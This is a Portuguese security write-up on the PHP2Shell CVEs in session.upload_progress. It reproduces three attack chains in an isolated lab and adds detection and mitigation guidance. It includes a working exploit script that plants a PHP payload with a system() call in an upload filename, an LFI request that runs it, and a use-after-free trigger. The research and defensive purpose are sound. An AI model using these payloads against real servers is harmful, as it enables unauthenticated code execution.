PHP2Shell (CVE-2026-109618 / CVE-2026-109619): três cadeias de ataque no session.upload_progress
Nota esclarecedora
A PRIDE Security não oferece nenhuma garantia às informações contidas neste documento e não assume responsabilidade por quaisquer erros que também possam estar presentes. Em nenhum caso a PRIDE Security ou qualquer um dos seus parceiros serão responsáveis por danos decorrentes do uso das informações aqui descritas. A PRIDE Security se reserva o direito de alterar ou atualizar este conteúdo sem aviso prévio a qualquer momento.
Resumo
Em 21 de outubro de 2026, o projeto PHP publicou atualizações emergenciais (8.2.35, 8.3.36, 8.4.27 e 8.5.12) para corrigir duas vulnerabilidades críticas de execução remota de código (RCE) sem autenticação: CVE-2026-109618 e CVE-2026-109619, ambas com pontuação 9,2 no CVSS v4.0. Conhecidas em conjunto como PHP2Shell, as falhas foram objeto de uma divulgação coordenada envolvendo Calif.io, Wiz, OpenAI e Quarkslab.
Embora ambas envolvam problemas no gerenciamento de memória, suas causas são diferentes:
- CVE-2026-109618 — RCE via OOM corruption: falha no tratamento de esgotamento de memória (OOM), que pode provocar corrupção de estruturas internas durante a finalização de uma requisição.
- CVE-2026-109619 — RCE via stale global state: referências a regiões de memória já liberadas podem permanecer no estado global de um worker e ser reutilizadas por requisições posteriores, caracterizando um use-after-free.
As condições de exploração variam conforme a SAPI. Para a CVE-2026-109618, foi demonstrada RCE no mod_php, enquanto no PHP-FPM ainda não foi apresentada uma cadeia completa de exploração. Já a CVE-2026-109619 possui cadeias validadas em ambas as interfaces, mas no FPM depende de condições específicas da aplicação. As versões 8.1 e anteriores (EOL) não recebem novas releases oficiais, embora existam backports em código-fonte para 7.4, 8.0 e 8.1.
Neste artigo, analisamos as vulnerabilidades e reproduzimos, em laboratório controlado com PHP 8.2.34, três técnicas documentadas por Qi Deng (@ikow): Session File Injection + LFI, com execução remota de código; Use-After-Free em var_destroy, confirmado pelo AddressSanitizer; e Handler Mismatch, com execução do método __destruct de um objeto injetado.
Essas três técnicas não reproduzem diretamente as CVEs oficiais, mas demonstram outros riscos associados ao gerenciamento de sessões e à desserialização no PHP. O artigo apresenta as evidências dos testes, indicadores de detecção e recomendações de mitigação, com prioridade para a atualização das instalações afetadas.
| Item | Detalhe |
|---|---|
| Vulnerabilidades | CVE-2026-109618 e CVE-2026-109619 |
| Severidade | CVSS v4.0 9.2 |
| Versões corrigidas | PHP 8.2.35, 8.3.36, 8.4.27 e 8.5.12 |
| Superfície | Instalações PHP que atendem requisições web |
| Recurso analisado | session.upload_progress |
| Ação prioritária | Aplicar o patch em todo o parque |
Este artigo não reproduz as falhas dos CVEs oficiais. Reproduz, passo a passo e em ambiente controlado, as três cadeias de ataque publicadas pelo pesquisador Qi Deng (@ikow) — duas ligadas à sessão (session.upload_progress e handler de serialização) e uma no unserialize() —, uma superfície complementar aos CVEs, parte dela conhecida há anos.
| Cadeia | Classe | Pré-condições | Resultado reproduzido |
|---|---|---|---|
| Session File Injection + LFI | Erro de lógica | upload_progress=On (default) + cleanup=Off (ou race) + LFI na aplicação |
RCE |
var_destroy UAF |
Corrupção de memória | unserialize() sobre entrada controlada |
heap-use-after-free confirmado via AddressSanitizer |
Handler Mismatch → __destruct |
Desserialização | Handlers divergentes + gadget POP carregado no decode in-script | Handler mismatch + __destruct da classe injetada executado |
O ponto central para times de defesa tem duas camadas:
- Os CVEs oficiais atingem instalações em configuração padrão. Toda instalação de PHP que atende web está no escopo do patch; o risco é maior no mod_php (exploração pré-autenticação demonstrada antes do código da aplicação) e condicional no PHP-FPM. Em todo caso, não dá para despriorizar "porque não temos LFI": o patch vale para o parque inteiro.
- As cadeias abaixo dependem de uma segunda condição na aplicação — um LFI (Cadeia 1) ou um gadget de desserialização (Cadeia 3) — e em parte exploram comportamentos documentados do PHP (a Cadeia 1 é uma técnica conhecida há anos). Seu comportamento nas versões corrigidas ainda não foi verificado (não as reexecutamos na 8.2.35 ou posterior). Elas pedem correção no código e endurecimento da configuração, como detalhado ao final.
Contexto técnico
O recurso session.upload_progress do PHP serve para reportar o progresso de uploads grandes. Quando habilitado, durante o parsing de um POST multipart/form-data que contenha um campo com o nome definido em session.upload_progress.name (padrão PHP_SESSION_UPLOAD_PROGRESS), o PHP cria/atualiza uma variável de sessão com metadados do upload — antes mesmo do script da aplicação rodar.
Comportamentos analisados
A pesquisa independente encadeia quatro comportamentos do PHP — de sessão e de desserialização — que habilitam as cadeias abaixo (nenhum deles é, por si, a causa raiz dos CVEs):
- Fixação de sessão (alegada pela pesquisa) — segundo o @ikow, o
PHPSESSIDenviado no corpo do POST seria aceito mesmo comsession.use_only_cookies, conforme o PR ainda em discussão e não mesclado php-src#22113. As PoCs deste texto não demonstram esse bypass: elas fixam oPHPSESSIDpelo cabeçalhoCookie, apenas para tornar previsível o caminho do arquivo de sessão. filenamearmazenado sem validação — o nome do arquivo do upload é gravado cru dentro do arquivo de sessão.var_destroydispara__destructem reentrada — sem oBG(serialize_lock), gerando use-after-free.__destructexecuta mesmo quando o decode da sessão FALHA — permitindo injeção de objeto via divergência de handler.
Atenção à distinção: os comportamentos acima são achados da pesquisa independente em torno dosession.upload_progress— não são os mecanismos de causa raiz dos CVEs. Conforme os advisories oficiais, o CVE-2026-109618 é corrupção de estado no tratamento de OOM e o CVE-2026-109619 é uso de estado global obsoleto (use-after-free) entre requisições do mesmo worker, para o qual osession.upload_progressé apenas um dos consumidores. Os links estão na seção Referências.
Ambiente de teste
Por que isolar com rigor: estamos reproduzindo uma cadeia que termina em execução de código. O container do PHP (o alvo) roda em rede Docker--internal, sem rota de saída; o Nginx fica numa rede de frontend (p2s-front, que não é interna) apenas para publicar o serviço HTTP somente em loopback (127.0.0.1:18080). Os dois controles confirmados abaixo são: (i) o container do alvo não alcança a internet e (ii) o serviço só responde em loopback — não há, portanto, afirmação de que a composição inteira esteja sem rede externa.
Imagem e versão
A imagem usada é a oficial php:8.2.34-fpm — a última versão vulnerável antes do patch (8.2.35):
docker pull php:8.2.34-fpm # arm64, neste caso (Apple Silicon)
Configuração permissiva
php.ini do laboratório. Atenção: esta configuração não é o padrão do PHP. Duas diretivas foram afrouxadas de propósito para tornar as cadeias determinísticas:
| Diretiva | Padrão do PHP | Lab | Efeito |
|---|---|---|---|
session.upload_progress.cleanup |
On | Off | Com On, os dados de progresso são apagados ao fim do upload e a Cadeia 1 passa a exigir uma race condition |
session.use_only_cookies |
1 | 0 | Aceitaria o ID de sessão fora do cookie. Não é necessário para as PoCs deste texto (que enviam o PHPSESSID pelo cabeçalho Cookie); só importaria na variante — não demonstrada — de envio do SID pelo corpo multipart |
session.use_strict_mode |
0 (padrão até o PHP 8.5; muda no 8.6) | 0 (inalterado) | Aceita IDs de sessão não inicializados pelo servidor, viabilizando a fixação |
[Session]
session.save_handler = files
session.save_path = /tmp/sessions
session.use_strict_mode = 0
session.use_cookies = 1
session.use_only_cookies = 0
session.upload_progress.enabled = On
session.upload_progress.cleanup = Off
session.upload_progress.prefix = upload_progress_
session.upload_progress.name = PHP_SESSION_UPLOAD_PROGRESS
[PHP]
display_errors = On
file_uploads = On
post_max_size = 128M
upload_max_filesize = 128M
Aplicação de teste
Os arquivos principais do webroot:
// index.php — inicia sessão
<?php session_start(); echo "PHP " . PHP_VERSION . "\n"; echo "SAPI " . PHP_SAPI . "\n";
echo "upload_progress " . ini_get('session.upload_progress.enabled') . "\n"; echo "OK\n";
// vuln.php — Local File Inclusion clássico (o "segundo ingrediente" da Cadeia 1)
<?php
$page = $_GET['page'] ?? 'home';
include($page);
Para a Cadeia 3, dois diretórios com .user.ini divergentes e seus endpoints. A árvore completa do webroot usada nesta PoC:
webroot/
├── index.php # session_start() + info (endpoint de escrita da Cadeia 1)
├── vuln.php # include($_GET['page']) — LFI simulado (Cadeia 1)
├── app/
│ ├── .user.ini # session.serialize_handler = php_serialize
│ └── upload.php # <?php session_start(); echo "app ok\n"; (escrita da Cadeia 3)
└── api/
├── .user.ini # session.serialize_handler = php
├── marker.php # classe-gadget Marker (ver seção Handler Mismatch)
└── read.php # <?php require_once __DIR__.'/marker.php'; session_start(); …
O read.php carrega a classe-gadget e então chama session_start() — é o que força o decode in-script exigido pela Cadeia 3. O upload.php só precisa iniciar a sessão para que o upload_progress persista o arquivo no diretório com handler php_serialize.
Subida e verificação de isolamento
docker network create --internal p2s-int
docker network create p2s-front
docker run -d --name php2shell-lab --network p2s-int --network-alias php \
-v $PWD/webroot:/var/www/html -v $PWD/php.ini:/usr/local/etc/php/php.ini:ro \
--cap-drop ALL --cap-add CHOWN --cap-add SETUID --cap-add SETGID --cap-add DAC_OVERRIDE \
--memory 512m --pids-limit 200 \
php:8.2.34-fpm bash -c "mkdir -p /tmp/sessions && chmod 1777 /tmp/sessions && exec php-fpm"
docker run -d --name php2shell-nginx --network p2s-front -p 127.0.0.1:18080:80 \
-v $PWD/webroot:/var/www/html:ro -v $PWD/nginx.conf:/etc/nginx/conf.d/default.conf:ro \
--memory 128m nginx:alpine
docker network connect p2s-int php2shell-nginx
Confirmação de que o container do alvo (PHP) não tem saída para a internet:
$ docker exec php2shell-lab bash -c 'timeout 4 bash -c "</dev/tcp/1.1.1.1/80"'
bash: connect: Network is unreachable
Confirmação de que o serviço só responde em loopback (recusa em LAN, tailnet e IPv6):
$ curl -s -o /dev/null -w "%{http_code}\n" http://127.0.0.1:18080/index.php
# 200 -> só aqui
# demais interfaces: conexão recusada
Sanidade da instância:
$ curl -s http://127.0.0.1:18080/index.php
PHP 8.2.34
SAPI fpm-fcgi
upload_progress 1
OK
Descrição das técnicas
Session File Injection + LFI → RCE
Esta é a cadeia de maior impacto prático e ilustra o padrão clássico PHP_SESSION_UPLOAD_PROGRESS → LFI — uma técnica conhecida há anos e anterior aos CVEs de 2026; ela não é a reprodução do CVE-2026-109618. Com cleanup = Off, o payload persiste no arquivo de sessão; com o padrão (On), o arquivo precisa ser incluído enquanto o upload ainda está em andamento, numa race condition.
O gatilho: filename gravado cru na sessão
Envia-se um POST multipart/form-data contendo o campo PHP_SESSION_UPLOAD_PROGRESS e um arquivo cujo nome carrega o payload. O PHPSESSID é fixado para conhecer o caminho do arquivo de sessão de antemão.
import socket
SID = "pwnedchain1demo0000000000000"
fn = "<?php echo '---PWN---'; system('id; uname -a; whoami'); echo '---END---';?>"
b = "X"
body = (f'--{b}\r\nContent-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\nx\r\n'
f'--{b}\r\nContent-Disposition: form-data; name="f"; filename="{fn}"\r\n\r\nZ\r\n--{b}--\r\n').encode()
h = (f"POST /index.php HTTP/1.1\r\nHost: x\r\n"
f"Content-Type: multipart/form-data; boundary={b}\r\n"
f"Content-Length: {len(body)}\r\nCookie: PHPSESSID={SID}\r\nConnection: close\r\n\r\n").encode()
s = socket.create_connection(("127.0.0.1", 18080), timeout=10)
s.sendall(h + body)
s.close()
Inspecionando o arquivo de sessão resultante dentro do container, o payload está gravado literalmente no campo name:
$ docker exec php2shell-lab cat /tmp/sessions/sess_pwnedchain1demo0000000000000
upload_progress_x|a:5:{...;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:1:"f";
s:4:"name";s:75:"<?php echo '---PWN---'; system('id; uname -a; whoami'); echo '---END---';?>"; ...}}}
Nenhuma autenticação foi necessária; o arquivo foi criado num caminho previsível (/tmp/sessions/sess_<SID>) com conteúdo controlado pelo atacante.
O detonador: LFI incluindo o arquivo de sessão
Com um LFI na aplicação (vuln.php?page=), basta incluir o arquivo de sessão. O PHP interpreta o <?php ... ?> embutido:
$ curl -s "http://127.0.0.1:18080/vuln.php?page=/tmp/sessions/sess_pwnedchain1demo0000000000000"
Saída (código executado no contexto do FPM):
---PWN---uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux 075180ea7906 7.1.5+kali-arm64 #1 SMP PREEMPT Kali 7.1.5-1kali1 (2026-07-29) aarch64 GNU/Linux
www-data
---END---
Cadeia 1 confirmada: de um POST não autenticado até execução de comando como www-data, combinando o mecanismo de upload progress com um LFI na aplicação — e dependendo também do SID previsível, do handler files, do caminho conhecido e de cleanup=Off (ou de uma race condition).
Use-After-Free em var_destroy
Esta cadeia é de corrupção de memória e só é observável de forma conclusiva com um build instrumentado. O PHP 8.2.34 foi compilado com AddressSanitizer num container efêmero.
Ao contrário das outras duas, ela não envolve session.upload_progress e não demonstra RCE: o que se comprova aqui é um heap-use-after-free no caminho de unserialize(), sinalizado pelo AddressSanitizer. Transformá-lo em execução de código exigiria um trabalho adicional de exploração que não é feito neste texto.
Build instrumentado
# dentro de um container debian:bookworm, com --network=host (ver nota)
apt-get install -y git ca-certificates build-essential autoconf bison re2c \
pkg-config libxml2-dev libsqlite3-dev
git clone --depth 1 --branch php-8.2.34 https://github.com/php/php-src.git
cd php-src && ./buildconf --force
CFLAGS="-fsanitize=address -g -O0" LDFLAGS="-fsanitize=address" \
./configure --disable-all --enable-cli --enable-session --without-pcre-jit --disable-opcache
make -j2
Nota de ambiente: este é um container de build, separado do alvo, usado apenas para compilar o PHP e rodar o PoC em CLI — nenhum serviço é exposto nele. Em Docker sobre Kali ARM64 (VM), ele precisou de--network=hostpara oaptalcançar os mirrors (a bridge padrão não roteava o egress); o alvo continua na rede--internal. Em outros hosts o--network=hostnão é necessário.
Resultado:
PHP 8.2.34 (cli) (built: Oct 21 2026) (NTS)
Zend Engine v4.2.34
Disparo do UAF
O PoC monta um array serializado com mais de 2000 entradas (para estourar VAR_ENTRIES_MAX) e uma chave duplicada que move um objeto com __destruct para a lista de destruição; dentro desse __destruct, um back-reference R:1500; tenta ler o var_hash já liberado:
USE_ZEND_ALLOC=0 ASAN_OPTIONS="detect_leaks=0:abort_on_error=0:exitcode=0" \
./sapi/cli/php verify_uaf_asan.php
Trecho do relatório do AddressSanitizer (editado para brevidade):
[*] __destruct fired (serialize_lock=0, BG(unserialize).level>0)
[*] Attempting R:1500 backref into freed var_hash extension chunk...
==ERROR: AddressSanitizer: heap-use-after-free ... thread T0
READ of size 8 ...
#0 php_var_unserialize ext/standard/var_unserializer.re:856
#13 var_destroy ext/standard/var_unserializer.re:308 <- i_zval_ptr_dtor dispara __destruct
freed by thread T0 here:
#3 var_destroy ext/standard/var_unserializer.re:244 <- _efree_large libera o chunk
previously allocated by thread T0 here:
#4 var_push ext/standard/var_unserializer.re:124 <- extension chunk do var_hash
SUMMARY: AddressSanitizer: heap-use-after-free ext/standard/var_unserializer.re:856 in php_var_unserialize
Leitura do trace: var_destroy libera o chunk de extensão do var_hash (linha 244); em seguida, i_zval_ptr_dtor (linha 308) dispara o __destruct do objeto sem o serialize_lock; o unserialize('R:1500;') interno reutiliza o var_hash recém-liberado → leitura de memória liberada (linha 856). É o mecanismo descrito na pesquisa do @ikow, no caminho do unserialize().
Handler Mismatch → __destruct
Quando a sessão é gravada por um diretório configurado com serialize_handler = php_serialize e lida por outro com serialize_handler = php, o caractere | presente no filename injetado passa a ser interpretado pelo handler php como separador chave|valor-serializado.
Grava-se a sessão via /app (php_serialize) com um | + objeto serializado no filename e, em seguida, lê-se via /api (php). A leitura produz o indicador previsto:
Warning: PHP Request Startup: Failed to decode session object. Session has been destroyed
O warning, sozinho, mostra apenas que o handler php interpretou o conteúdo injetado e falhou no decode — ele não prova que o __destruct rodou. Para confirmar, usa-se uma classe-marcador inofensiva:
// webroot/api/marker.php
<?php
class Marker {
public function __destruct() { file_put_contents('/tmp/marker_fired', 'MARKER __destruct @ '.date('c')."\n", FILE_APPEND); }
}
O objeto injetado no filename passa a ser O:6:"Marker":0:{}.
Onde o __destruct dispara — e onde não dispara
Este foi o ponto que exigiu cuidado experimental. O decode da sessão pode ocorrer em dois momentos distintos:
- No "PHP Request Startup" (quando o próprio handler de
upload_progresslê a sessão existente, antes do script rodar). Nesse instante a classe-gadget ainda não foi carregada, então o PHP materializa um__PHP_Incomplete_Classe o__destructnão executa. No laboratório,/tmp/marker_firednão era criado neste caminho. - No
session_start()dentro do script, com a classe já definida (viarequire,autoloadouauto_prepend_file). Aqui o objeto injetado é instanciado comoMarkerde verdade e, quando a sessão é destruída pelo decode malsucedido, seu__destructexecuta.
Forçando o segundo cenário — endpoint que faz require __DIR__.'/marker.php' e então session_start() — o warning passa a apontar para o script (não mais para o "Request Startup") e o marcador é gravado:
Warning: session_start(): Failed to decode session object. Session has been destroyed
in /var/www/html/api/read.php on line 1
$ docker exec php2shell-lab cat /tmp/marker_fired
MARKER __destruct @ 2026-10-21T15:53:19+00:00
Cadeia 3 confirmada: o __destruct do objeto injetado executa mesmo com o decode falhando. A condição prática para um ataque real é que o gadget POP seja carregável no momento do decode in-script — o que pode ocorrer em aplicações que registram autoloaders antes de iniciar a sessão (o autoloader, sozinho, não basta para a exploração).
Detecção
Procure, em logs de WAF/FPM/aplicação:
- POST
multipart/form-datacontendo o campoPHP_SESSION_UPLOAD_PROGRESScombinado com umfilenameque contenha<?php,|O:ou|a:. - Warnings no PHP-FPM:
Failed to decode session object,Session object destruction failed. Em especial,PHP Request Startup: Failed to decode session objectsinaliza uma tentativa de exploração da Cadeia 3 (divergência de handler sendo disparada no início da requisição) mesmo quando o gadget não chega a executar — vale alertar sobre ele independentemente do resultado. - Requisições a endpoints de inclusão (
?page=,?file=, etc.) cujo valor aponte parasession.save_path(ex.:/tmp/sess_...,/var/lib/php/sessions/...). - O nome do campo é configurável via
session.upload_progress.name: o literalPHP_SESSION_UPLOAD_PROGRESSsó é um indicador confiável onde o padrão foi mantido.
Mitigações e recomendações
Priorização
- Patch primeiro, para todo o parque. Os CVEs oficiais atingem instalações em configuração padrão (risco maior no mod_php); não condicione a priorização à existência de LFI ou
unserialize()na aplicação. As versões corrigidas (8.2.35, 8.3.36, 8.4.27, 8.5.12) já estão publicadas. No dia da divulgação já havia exploits funcionais; a Cloudflare relatou tráfego de ataque contra clientes e mutação de payloads, com regras de WAF implantadas cerca de 9 horas antes da divulgação pública (Cloudflare) — motivo a mais para aplicar o patch com urgência. - Depois, mapeie a superfície das cadeias. Cruze o inventário de PHP com a aplicação:
include/requirecontrolável pelo usuário (Cadeia 1),unserialize()sobre dados externos (Cadeia 2) e handlers de sessão divergentes com um gadget carregável (Cadeia 3). Todos pedem correção no código. - PHP em EOL (8.1 e anteriores) não recebe release oficial. Existem backports em código-fonte para 7.4, 8.0 e 8.1, mas o caminho sustentável é a migração.
Mitigação imediata
Nenhuma das medidas abaixo substitui o patch. Segundo o PHP, só a atualização é solução completa; cada configuração reduz um caminho específico de ataque. As recomendações por CVE seguem o advisory oficial.
CVE-2026-109619 (stale global state):
session.upload_progress.enabled = Off
- Aplique no
php.ini, no pool do FPM ou na configuração do servidor — antes do parsing da requisição.ini_set()e o.user.inido FPM rodam tarde demais. Reinicie todos os workers. - No PHP 8.5, defina também
fatal_error_backtraces = 0(remove o produtor de estado confirmado nessa versão) e reinicie os workers. - Remova configurações por requisição inválidas ou obsoletas que emitam diagnósticos antes da inicialização e corrija erros fatais e timeouts alcançáveis pelo atacante. Ocultar diagnósticos (
error_reporting,display_errors,@) não resolve.
CVE-2026-109618 (OOM corruption):
- Defina
memory_limit = -1de forma que a aplicação não consiga sobrescrever (ex.:php_admin_valueno pool do FPM ou na configuração do Apache) e confirme que nenhum pool, diretório ou aplicação restabeleça um limite finito. - Reduza o
post_max_size(8M quando não há upload; 32M quando há), mantendoupload_max_filesizeabaixo dele. - Imponha, na borda (servidor web ou proxy), limites de tamanho da requisição decodificada, de contagem de campos, de partes multipart, de cabeçalhos e de aninhamento — inclusive para requisições sem
Content-Lengthutilizável. - Use limite de memória de container/cgroup como contenção. Não use
RLIMIT_ASnemRLIMIT_DATA: eles podem disparar a própria condição vulnerável.
Essas medidas cobrem apenas caminhos confirmados; outras variantes podem permanecer até o patch.
Endurecimento complementar
open_basedirrestringindo o acesso asession.save_path.session.save_pathfora de qualquer diretório incluível pela aplicação.- Revisão de código para eliminar LFIs e usos inseguros de
unserialize().
Conclusão
As três cadeias publicadas pelo @ikow — duas ligadas à sessão e uma no unserialize() — foram reproduzidas em laboratório isolado: a Cadeia 1 em RCE completo ponta a ponta (em configuração permissiva), a Cadeia 2 com heap-use-after-free confirmado pelo AddressSanitizer (sem RCE), e a Cadeia 3 com o __destruct da classe injetada efetivamente executado (sob a condição de o gadget estar carregado no momento do decode in-script). O aprendizado para nossos clientes é duplo: aplicar o patch já publicado em todo o parque, porque os CVEs oficiais atingem instalações em configuração padrão (com risco maior no mod_php), e mapear a superfície das aplicações — LFIs e desserializações — que transformam essas peculiaridades do PHP em execução de código mesmo fora dos CVEs.
Agradecimentos
| Nome | Empresa |
|---|---|
| Paulo Melo | PRIDE Security |
Créditos
- Pesquisa original e PoC das três cadeias: Qi Deng (@ikow) — github.com/ikow/php2shell-poc.
Referências
- Comunicado oficial do PHP (21/10/2026): https://www.php.net/archive/2026.php#2026-10-21-5
- Advisory CVE-2026-109618 — RCE via OOM corruption (GHSA-w8hw-w9fx-j79w): https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w
- Advisory CVE-2026-109619 — RCE via stale global state (GHSA-6wmf-4rv5-p3rp): https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp
- Commit da correção "Avoid state corruption via bailout", que cita os dois CVEs — php/php-src:
01a40e8(PHP-8.2) e31c0ea7(PHP-8.5). - Release notes (ChangeLog): PHP 8.5.12, 8.4.27, 8.3.36 e 8.2.35.
- PR em discussão (não mesclado) sobre fixação de sessão no RFC 1867: php-src#22113.
- Descoberta das falhas e nome PHP2Shell: Wiz Research, Calif e OpenAI Codex Security — divulgação coordenada em https://www.php2shell.com/.
- Análises de terceiros consultadas: Rapid7, AlmaLinux e Brandefense.